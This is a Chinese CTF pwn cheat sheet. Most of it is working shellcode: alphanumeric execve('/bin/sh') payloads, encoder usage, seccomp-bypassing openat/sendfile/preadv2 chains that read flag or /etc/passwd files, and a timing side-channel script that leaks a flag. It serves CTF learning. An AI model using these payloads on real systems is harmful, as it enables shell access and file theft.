CTF中pwn shellcode题目
下面是一些shellcode代码和绕过技巧。
一些只给payload或者exp一把梭
-
首先给出两个常用shellcode仓库,可以检索需要的shellcode
基础
基础shellcode
shellcode = asm(shellcraft.sh())
生成指定函数
用法:
shellcode = shellcraft.function(arg1, arc2...)
示例:
shellcode = shellcraft.open('./flag')
32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
Alpha3
(例题:ctfshow pwn 65)
限制只能使用字母或者数字
alpha3使用:
alpha3需要python2环境,所以先安装python2
from pwn import *
context.arch='amd64'
sc = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x31\xc0\xb0\x3b\x99\x0f\x05"
with open("./sc.bin",'wb') as f:
f.write(sc)
python2 ALPHA3.py x64 ascii mixedcase rdx --input="sc.bin" > out.bin
因为 call rdx ,所以 base 是 rdx,得到
可以选择架构、编码、限制的字符
AE64
AE64可以直接在python中导入,使用相对较为方便且限制较少
from ae64 import AE64
from pwn import *
context.arch='amd64'
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))
最短shellcode
64位:
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
// int
0x622fbf4856f63148
0x545768732f2f6e69
0x050f993bb05f
// bytes
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05
32位:
getshell
- 21字节
# (execve("/bin/sh",NULL,NULL))
shellcode = asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 11
pop eax
int 0x80
""")
ORW
open(fopen、creat、openat、openat2、fopen64、open64、freopen)
#openat2系统调用在 Linux 内核版本 5.6 中引入 内核版本太低用不上
shellcode=asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x20,0x18))
read(pread、readv、preadv、preadv2、splice、sendfile、mmap)
write(pwrite、send、writev)
1.只ban了 open函数
攻击方式 利用openat 函数
1.系统调用号是257
2.int openat(int dirfd, const char *pathname, int flags);只需要构造openat(0, ‘/flag\x00’)
push 0x67616c66 //flag
mov rsi,rsp
xor rdx,rdx
mov rdi,0xffffff9c //这个位置rdi要设置为0xfffff9c,原理不写了
push 257
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
或者
sh = shellcraft.openat(-100,"/flag",0)
2.没有R和W
利用sendfile来打,sendfile兼备read和write的效果
来看看它的C代码
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
sendfile是一个用于在文件描述符之间高效传输数据的系统调用,它在两个文件描述符之间传输数据而不需要在用户空间进行数据缓冲,从而提高性能
out_fd表示的是目标文件描述符。数据将被写入到这个文件描述符,一般来是stdout
(做堆的师傅们应该常见这玩意),用于输出到屏幕,可以粗略理解为write的fd
in_fd是源文件描述符,数据将从这个文件描述符读取,可以粗略理解为read的fd为3的情况
offset不必多言,就是从文件内容offset字节处开始读取
count也不必多言,n_bytes
sh = shellcraft.openat(-100,"/flag",0)+shellcraft.sendfile(1,3,0,0x100)
sl(asm(sh))
或者可以用下面的经过AE64处理过的
from pwn import *
from ae64 import AE64
context(log_level='debug',arch='amd64', os='linux')
sh = shellcraft.openat(-100,"/etc/passwd",0)
sh += shellcraft.sendfile(1,3,0,0x50)
payload = AE64().encode(asm(sh),"rdx")
3.禁用open/read/write绕过
绕过方式:利用其他函数替代open
/read
/write
,如下
openat + mmap + sendfile
shellcode = shellcraft.openat(0,'/flag',0)
shellcode += shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode += shellcraft.sendfile(1,3,0,0x100)
shellcode = asm(shellcode)
openat + preadv2 + writev
shellcode = asm('''
/* openat(fd=-0x64, file='flag', oflag=0) */
add rax, 0x62
mov r12, rax
mov rsi, rax
mov rdi, -0x64
/* 调用openat*/
mov rax, 0x101 /* 0x101 */
syscall
/* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
mov rdi, 3
mov rdx, 0x1
add r12, 0x15
mov rsi, r12
/* 调用preadv2*/
mov rax, 327
syscall
/* writev(fd=1, iovec=0x1337090, count=1) */
mov rdi, 1
mov rdx, 0x1
/* 调用writev*/
mov rax, 0x14
syscall
''')
4 禁用输出绕过
绕过方式:使用侧信道逐位爆破,当爆破字符和flag
对应字符一致时进入死循环,通过接收回显的时间间隔判断爆破是否正确
from pwn import *
import string
# 这里的pwn只是为了演示流程,具体逻辑还得看题目
def pwn(p, index, ch):
code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;" # open
code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;" # read
code += "cmp byte ptr[rsi+{}], {}; jz loop;".format(index, ch) # cmp
code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;" # 等则进入死循环,否则exit(0)
code = b"\\\\x90"*20+asm(code) # 前面加了\\\\x90滑板
p.send(code)
def main():
flag = ""
flag_str = string.printable
for offset in range(0x30):
index = 0
while True:
p = process("./babystack")
try:
ch = flag_str[index]
print(">>>>>>>>>>> test ch {}".format(ch))
pwn(p, offset, ord(flag_str[index]))
p.recv(timeout=1)
flag += ch
print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> find flag: ", flag)
p.close()
index += 1
break
except Exception as e:
# 捕获p.recv产生的错误
print("="*10)
print(e)
print("="*10)
try:
p.close()
index += 1
except Exception as e:
# 捕获p.close产生的错误
print("="*10)
print(e)
print("="*10)
continue
if flag[-1] == "}":
# 判断flag是否已经结束
break
main()